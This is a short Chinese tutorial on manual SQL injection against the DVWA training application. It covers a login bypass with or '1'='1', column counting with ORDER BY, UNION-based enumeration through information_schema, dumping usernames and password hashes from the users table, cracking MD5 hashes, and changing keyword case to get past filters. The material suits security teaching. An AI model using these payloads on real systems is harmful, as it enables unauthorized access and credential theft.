作者:震灵
注入环境:DVWA
探测步骤:
1、首先探测是否可以注入以及注入方式
原SQL语句为
SELECT * FROM xxx WHERE a='';
注入后为
SELECT * FROM xxx WHERE a='' or '1'='1' --;
这样注入有常见情况有两种用途
第一种用途是用于登录,可以用作万能密码直接进入后台
第二种用途是用于查询,若查询出所有内容则代表可以进行注入
此处展示的是第二种用途
2、探测列数
由于接下来要采用union探测内容,而union的规则是必须要列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同
探测采用order by
SELECT * FROM xxx WHERE a='' ORDER BY 1;
order by 1代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列
3、探测展示位置
SELECT * FROM xxx WHERE a='' UNION SELECT 1,2 ;
并不是所有的查询结果都会展示在页面中,因此需要探测页面中展示的查询结果是哪一列的结果。上述SQL语句在本示例中展示了1,2,代表1,2列被展示在了页面中。因此可以利用1,2列进行注入查询。
4、探测数据库名、表名、列名
SELECT * FROM xxx WHERE a='' UNION SELECT 1,schema_name from information_schema.schemata;
上述SQL语句是查询数据库名的SQL语句,查询表名和列名的语句很类似,翻阅文档即可。
在探测数据库名、表名、列名的时候需要一些经验,经验不会影响最后的结果,但是经验会影响注入时间。名字如Admin,User的一般有可能是与用户有关的数据库,可以特别关注。
5、探测用户信息
最后一步,探测用户信息。其实有了以前的铺垫,探测用户信息是一个很简单的事情。
SELECT * FROM xxx WHERE a='' UNION SELECT User,Password FROM users ;
通过这一条数据便可以探测出所有用户的信息
部分数据使用了MD5加密,可以复制到MD5解密网站进行解密
6、更高级的SQL注入
对于有防护措施的程序,需要采用更高级的SQL注入手段进行诸如,比如替换SQL关键字大小写等手段。对于十分优秀的程序,SQL注入的意义就不大了,需要采用更高级的手段进行渗透测试。